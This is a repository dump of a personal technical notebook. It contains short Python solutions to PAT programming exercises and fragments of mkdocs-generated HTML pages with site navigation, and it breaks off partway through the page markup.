\"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/doc/PAT/pat-a-practise/1005.py",
    "content": "line=list(map(int,input()))\r\ntranslate={0:\"zero\",1:\"one\",2:\"two\",3:\"three\",4:\"four\",5:\"five\",6:\"six\",7:\"seven\",8:\"eight\",9:\"nine\"}\r\nans=[translate[int(i)] for i in \"%d\"%sum(line)]\r\nprint(\" \".join(ans),end=\"\")"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1001.py",
    "content": "n=int(input())\r\nres=0\r\nwhile n>1:\r\n    res+=1\r\n    if n%2==0:\r\n        n=n//2\r\n    else:\r\n        n=(3*n+1)//2\r\nprint(res)"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1002.py",
    "content": "thesum=\"%d\"%sum(map(int,input()))\r\nd=[\"ling\",\"yi\",\"er\",\"san\",\"si\",\"wu\",\"liu\",\"qi\",\"ba\",\"jiu\"]\r\nres=\" \".join(map(lambda i:d[int(i)],thesum))\r\nprint(res)"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1003.py",
    "content": "def judge(s):\r\n    P,A,T=map(s.count,\"PAT\")\r\n    if P!=1 or T!=1 or P+A+T!=len(s):\r\n        return False\r\n    try:\r\n        A1=len(s.split(\"P\")[0])\r\n        A2=len(s.split(\"P\")[1].split(\"T\")[0])\r\n        A3=len(s.split(\"T\")[1])\r\n    except:\r\n        return False\r\n    if A2==0:\r\n        return False\r\n    if A1==A3==0:\r\n        return True\r\n    if A3-A1*(A2-1)<=0:\r\n        return False\r\n    return True\r\n\r\nN=int(input())\r\nfor i in range(N):\r\n    s = input()\r\n    if judge(s):\r\n        print(\"YES\")\r\n    else:\r\n        print(\"NO\")"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1004.py",
    "content": "N=int(input())\r\ndata={}\r\nfor i in range(N):\r\n    s=input().split()\r\n    data[int(s[2])]=s[0]+\" \"+s[1]\r\nprint(max(data.items(),key=lambda i:i[0])[1])\r\nprint(min(data.items(),key=lambda i:i[0])[1])"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1005.py",
    "content": "input()\r\ncache={1:[1]}\r\ndef calc(n):\r\n    global cache\r\n    result=[n]\r\n    if n in cache:\r\n        return cache[n]\r\n    if n%2==0:\r\n        result.extend(calc(n//2))\r\n    else:\r\n        result.extend(calc((3*n+1)//2))\r\n    cache[n]=result\r\n    return result\r\nfancha={}\r\ntheinput=list(map(int,input().split()))\r\nfor i in theinput:\r\n    x=calc(i)\r\n    for t in x:\r\n        if t not in fancha:\r\n            fancha[t]=set([])\r\n        fancha[t].add(i)\r\nprint(fancha)\r\nprint(\" \".join([str(i) for i in sorted([i for i in fancha if len(fancha[i])==1],reverse=True) if i in theinput]))"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1006.py",
    "content": "theinput=list(map(int,input()[::-1]))\r\nres=\"\"\r\nfor i in range(len(theinput)):\r\n    if i==0:\r\n        res=\"\".join([str(i) for i in range(1,theinput[i]+1)])\r\n    elif i==1:\r\n        res=\"S\"*theinput[i]+res\r\n    else:\r\n        res=\"B\"*theinput[i]+res\r\nprint(res)"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1007.py",
    "content": "primes={2:True,3:True}\r\ntheinput=int(input())\r\nfor i in range(2,theinput//2+1):\r\n    j=2\r\n    if primes.get(i,True)==False:\r\n        continue\r\n    while i*j<theinput:\r\n        if i*j not in primes:\r\n            primes[i*j]=False\r\n        j+=1\r\ntheprime=[]\r\nfor i in range(2,theinput+1):\r\n    if primes.get(i,True):\r\n        theprime.append(i)\r\nres=0\r\nfor i in range(1,len(theprime)):\r\n    if theprime[i]-theprime[i-1]==2:\r\n        res+=1\r\nprint(res)"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1008.py",
    "content": "N,M=map(int,input().split())\r\nM=M%N\r\ntheinput=input().split()\r\nres=theinput[-M:]+theinput[:-M]\r\nprint(\" \".join(res))"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1009.py",
    "content": "print(\" \".join(input().split()[::-1]))"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1010.py",
    "content": "theinput=list(map(int,input().split()))\r\nxishu=[theinput[i] for i in range(len(theinput)) if i%2==0]\r\nzhishu=[theinput[i] for i in range(len(theinput)) if i%2==1]\r\ntheinput=dict(zip(zhishu,xishu))\r\nres={}\r\nfor i in theinput:\r\n    if i==0:\r\n        continue\r\n    res[i-1]=i*theinput[i]\r\nresult=[]\r\nfor i in sorted(res.keys(),reverse=True):\r\n    result.extend([str(res[i]),str(i)])\r\nif not result:\r\n    result=[\"0\",\"0\"]\r\nprint(\" \".join(result))"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1011.py",
    "content": "T=int(input())\r\nfor i in range(T):\r\n    A,B,C=map(int,input().split())\r\n    if A+B>C:\r\n        res=\"true\"\r\n    else:\r\n        res=\"false\"\r\n    print(\"Case #{i}: {res}\".format(i=i+1,res=res))"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1012.py",
    "content": "theinput=list(map(int,input().split()))\r\ndel(theinput[0])\r\nT={}\r\nA={}\r\nfor i in range(1,6):\r\n    T[i]=[j for j in theinput if j%5==i-1]\r\n    if not T[i]:\r\n        A[i]=\"N\"\r\n    else:\r\n        if i==1:\r\n            A[1]=sum([j for j in T[1] if j%2==0])\r\n            if A[1]==0:\r\n                A[1]=\"N\"\r\n        elif i==2:\r\n            t=1\r\n            A[2]=0\r\n            for x in T[2]:\r\n                A[2]+=t*x\r\n                t=-t\r\n        elif i==3:\r\n            A[3]=len(T[3])\r\n        elif i==4:\r\n            A[4]=\"%0.1f\"%(sum(T[4])/len(T[4]))\r\n        elif i==5:\r\n            A[5]=max(T[5])\r\nprint(\" \".join([str(A[i]) for i in A]))"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1013.py",
    "content": "M,N=map(int,input().split())\r\n\"\"\"\r\ndef mymethod(N):\r\n    primes={2:True,3:True}\r\n    for i in range(2,int(sqrt(N))+1):\r\n        if primes.get(i,True)==False:\r\n            continue\r\n        #while i*j<N:\r\n        for t in range(i*i,N+1,i):\r\n            #if i*j not in primes:\r\n            primes[t]=False\r\n            #j+=1\r\n    theprime=[]\r\n    for i in range(2,N):\r\n        if primes.get(i,True):\r\n            theprime.append(i)\r\n    return theprime\r\n\"\"\"\r\ndef ola(N):#欧拉筛法\r\n    prime=[]\r\n    isprime=[True]*(N+1)\r\n    isprime[1]=False\r\n    for i in range(2,N):\r\n        if isprime[i]:\r\n            prime.append(i)\r\n        for j in prime:\r\n            if i*j>N:\r\n                break\r\n            isprime[i*j]=False\r\n            if i%j==0:\r\n                break\r\n    return prime\r\ndata=ola(105000)\r\nres=data[M-1:N]\r\nwhile len(res)>10:\r\n    print(\" \".join([str(i) for i in res[:10]]))\r\n    res=res[10:]\r\nprint(\" \".join([str(i) for i in res]))"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1014.py",
    "content": "import string\r\ns={}\r\nl={}\r\nfor i in range(4):\r\n    s[i]=input()\r\n    l[i]=len(s[i])\r\nflag=1\r\nA1={\"A\":\"MON\",\"B\":\"TUE\",\"C\":\"WED\",\"D\":\"THU\",\"E\":\"FRI\",\"F\":\"SAT\",\"G\":\"SUN\"}\r\nres=\"\"\r\nfor i in range(min(l[0],l[1])):\r\n    if flag==1 and s[0][i]==s[1][i] and s[0][i] in A1:\r\n        res=A1[s[0][i]]+\" \"\r\n        flag=2\r\n    elif flag==2 and s[0][i]==s[1][i] and s[0][i] in \"ABCDEFGHIJKLMN\":\r\n        res+=\"%d:\"%(ord(s[0][i])-ord('A')+10)\r\n        flag=3\r\n    elif flag==2 and s[0][i]==s[1][i] and s[0][i] in string.digits:\r\n        res+=\"%02d:\"%(int(s[0][i]))\r\n        flag=3\r\nfor i in range(min(l[2],l[3])):\r\n    if s[2][i]==s[3][i] and s[2][i] in string.ascii_letters:\r\n        res+=\"%02d\"%i\r\n        break\r\nprint(res)"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1023.py",
    "content": "theinput=list(map(int,input().split()))\r\ns=\"\"\r\nres=\"\"\r\nfor i in range(10):\r\n    s+=theinput[i]*str(i)\r\nfor i in range(len(s)):\r\n    if s[i]=='0':\r\n        continue\r\n    else:\r\n        res=s[i]+s[:i]+s[i+1:]\r\n        break\r\nprint(res)"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1063.py",
    "content": "import math\r\nN=int(input())\r\nthemax=0\r\nfor i in range(N):\r\n    ans=list(map(float,input().split()))\r\n    thisone=ans[0]**2+ans[1]**2\r\n    if thisone>themax:\r\n        themax=thisone\r\nprint(\"%.2f\"%math.sqrt(themax),end=\"\")"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1064.py",
    "content": "input()\r\nline=input().split()\r\nres=set([])\r\nfor i in line:\r\n    res.add(sum([int(j) for j in i]))\r\nprint(len(res))\r\nprint(\" \".join([\"%d\"%i for i in sorted(res)]),end=\"\")"
  },
  {
    "path": "docs/doc/PAT/pat-b-practise/1065.py",
    "content": "N=int(input())\r\ndata={}\r\nfor i in range(N):\r\n    line=list(map(int,input().split()))\r\n    data[line[0]]=line[1]\r\n    data[line[1]]=line[0]\r\ninput()\r\nline=set(map(int,input().split()))\r\nres=[]\r\nfor i in line:\r\n    if i not in data or data.get(i,-1) not in line:\r\n        res.append(i)\r\nprint(len(res))\r\nprint(\" \".join([\"%05d\"%i for i in sorted(res)]),end=\"\")"
  },
  {
    "path": "docs/doc/biology/ecology/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n      \n      <link rel=\"icon\" href=\"../../../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Ecology - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../../../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../../../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"../../..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#qiime\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"../../..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Ecology\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"../../..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../WindowsSoftware/\" class=\"md-nav__link\">\n        